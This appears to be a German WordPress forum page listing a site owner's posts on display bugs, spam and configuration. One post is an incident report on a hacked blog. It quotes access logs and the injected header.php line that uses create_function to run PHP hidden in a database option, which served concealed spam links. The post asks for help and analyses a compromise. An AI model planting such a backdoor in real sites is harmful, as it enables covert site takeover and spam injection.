Beiträge von lofthome.ch

  • MSIE6 zeigt keine Bilder

    Hallo,

    Auf dieser Seite nutzen wir das sumanasa-design03. Wir haben nun die Rückmeldung erhalten, dass mit Internet Explorer 6 mit Ausnahme des (statischen) Titelbildes keine Bilder angezeigt werden.

    Das sieht dann so aus: Beispiel Screenshot.

    Die überprüfung über Browser Capture Tools hat das unschöne Ergebnis bestätigt. Der direkte Aufruf der Jpeg URL's wie im Quelltext vorhanden, zeigt die Bilder.

    Hat jemand einen Tipp?

  • Wordpress gehackt und header manipuliert

    Wir haben festgestellt, dass auf unserer Seite Immobilien Zug Zürich Aargau Schweiz. Loft Luxusimmobilien Villen Häuser in den letzten Wochen vermehrt Benutzer mit Suchbegriffen unter der Gürtellinie gelandet sind. Eine erste Analyse hat zunächst kein Ergebnis gebracht, nach vermehrt einschlägigen Besuchern haben wir diese intensiviert. Die Suchbegriffe sind derzeit noch auf google sichtbar, auf unserer Webseite jedoch nicht.
    Zusammenfassung der Ergebnisse:

    --------------------------------------------------------------------------------------------------------------
    1. Am 07.09.2007 wurde unsere header.php von IP Nummer 88.191.17.141 mittels POST request überschrieben

    Auszug aus dem Access Log
    88.191.17.141 [07/Sep/2007:10:51:36 +0200] POST /wp-admin/ theme-editor.php HTTP/1.1 302 - http://www.lofthome??/wp-admin/the…home+immobilien Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
    88.191.17.141 [07/Sep/2007:10:52:08 +0200] POST /wp-admin/ theme-editor.php HTTP/1.1 302 - http://www.lofthome??/wp-admin/the…immobilien&a=te Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
    --------------------------------------------------------------------------------------------------------------
    2. Ein Login für diese IP bzw. diesen Benutzer können wir aufgrund der Logfiles nicht erkennen.
    --------------------------------------------------------------------------------------------------------------
    3. Die Änderung hat in header.php eine Function wp-headers angelegt.

    php /* Don't remove this line. */ wp_head(); $wp_headers = create_function('', get_option("blog_headers"));

    Weiter untem in der Datei dann der kritische Aufruf

    div id="container"

    div id="header"
    php $wp_headers()

    --------------------------------------------------------------------------------------------------------------
    4. Die Funktion liest die Daten aus wp_option für den Key blog_headers.
    --------------------------------------------------------------------------------------------------------------
    5. Das Feld der Tabelle enthielt zuerst eine unverfänglich aussehende Zeile

    DOCTYPE html PUBLIC //W3C//DTD XHTML 1.0 Transitional//EN ...

    dann ca. 20 Leerzeilen, sodass der weitere Inhalt auf Anhieb gar nicht erkennbar war und dann Hexadezimal rund 300 versteckte Links
    mit einem encode Befehl am Ende.
    --------------------------------------------------------------------------------------------------------------
    6. Das Ergebnis war verheerend. Inzwischen alle Accounts geändert, WP User admin gelöscht, FTP account geändert.


    Trotzdem bleibt die Frage:

    WIE KANN DIE HEADER.PHP IN UNSEREM THEME GEÄNDERT WORDEN SEIN, OHNE DASS ZUVOR EIN LOGIN AUF UNSERE SEITE STATTGEFUNDEN HAT?

  • Viag... Spam Nachrichten und Trackbacks

    [SIZE=-1]Ein Blog-Besucher trägt sich mit [/SIZE][SIZE=-1]cheap at viag... .com und ähnlichen Sites [/SIZE][SIZE=-1]auf unserer Seite in den letzten Tagen gehäuft sowohl in offenen Diskussionen als auch mittels Trackbacks ein.

    Neu werden auch die Kontaktformulare genutzt, mit Mails an uns selbst, weche voll von Spam sind. Wir haben indes die Bedürchtung, dass der Nutzer versucht, unser Kontaktformular zum Spam-Versand zu knacken.

    Was raten die Profis?

    Bisher haben wir gelöscht und das hingenommen, die aktuelle Häufung macht nachdenklich.
    Ebenfalls nachdenklich macht, dass wir vom selben Benutzer innert eines Tages exzessive An- und Abmeldungen bei unserem Newsletter feststellen. Auch hier glauben wir, dass eine Spam-Attacke versucht wird.

    Gibt es Möglichkeinen, bestimmte IP's zu sperren bzw. direkt umzuleiten?


    [/SIZE]

  • Sidebar rutscht weg...

    P.S. meine Antwort ergieng an Jottlieb, Danke ebenfalls Annalena. Die HR tags sind im Text, um diesen besser zu strukturieren. Indes den Tipp die 100% wegzunehmen werde ich demnächst ebenfalls umsetzen, da die Width Angabe hier wohl nicht wirklich was bringt.

    Frage trotzdem: Wie bekomme ich XHTML konforme Trennzeilen (eben HR's) am einfachsten hin?

  • Sidebar rutscht weg...

    Guten Abend,

    Wir benutzen auf villa-schweiz.ch | Villen Schweiz | Zug Zürich Basel Aargau das Theme Relaxation in leicht modifizierter Version. In Normalfall auch kein Problem, aber bei einigen Posts verschwindet die Sidebar mit Firefox unter die letzte Zeile des Hauptinhaltes nach unten.

    Zum Beispiel hier: Haus Baden oder Kilchberg.

    Das Phänomen tritt nach derzeitiger Erkenntnis ausschliesslich mit Firefox Browser auf.

    Herzlichen Dank für jeden hilfreichen Tipp.

  • Hallo & Kategorien

    Links sind für Links und Kategorien für Posts.
    Der Unterschied machen unterschiedliche Wordpress-Funktionen für den Zugriff auf Links oder Posts aus. Dass die Cats aufsteigende ID's erhalten, sollte nicht beunruhigen.

  • Fehler 500

    Um lesefreundliche URL's zu erzeugen, verwendet Wordpess sogenannte ModRewrite Regeln. Diese sind in einer Datei Namens .htaccess im Hauptverzeichnis definiert.

    Wenn nun Dein Provider die Konfiguration bzw. das Vorhandensein einer .htaccess Datei nicht unterstützt, dann kann ein 500 Fehlercode zurückgegeben werden.

    Helfen kann hier, auf URLs in der Art
    domain.xx/mein-erste-beitrag.html zu verzichtet. Dies lässt sich zB lösen, um alle Seiten über index.php aufzurufen.

  • Datenbankfehler in der Sidebar

    Könnte sein...

    a) Fehlende Rechte -> wer hat's geändert?
    b) Disk voll -> wer hat ihn vollgeschrieben?
    c) Datenbank kaputt -> Kann bei parallelem Zugriff von SQL-Server und komplexen Datenbank-Statements oder Inserts passieren.

    Grüsse aus der Schweiz

  • Wordpress für komplette Internetpräsenz geeignet?

    Wordpress ist perfekt geeignet, eine Webseite einzurichten. Statische Seiten kann man einrichten wie man will und werden als Archiv ausgewertet. Die Archiv-Links kann man aber auch einfach aus der Sidebar entfernen.
    Wir verwenden dynamisch Beiträge und haben die Ping- und Kommentarfunktionen in den meisten Fällen ausgeschaltet.

    einige Beispiele:
    Immobilien-Schweiz.org
    Immobilien-Aargau.ch
    Immobilien-Zug
    Lofthome Deutschland

    Läuft alles auf Wordpress und alles über eine einzige Instanz.

    Formatierungen sind über CSS zu machen wir mein Vorredner schon sagte. Indes sind CSS (-> style.css) sowie der PHP Code für die jeweilige Seite (für die Startseite meistens index.php) gemeinsam relvant, um das Aussehen zu beeinflussen.

    Grüsse aus der Schweiz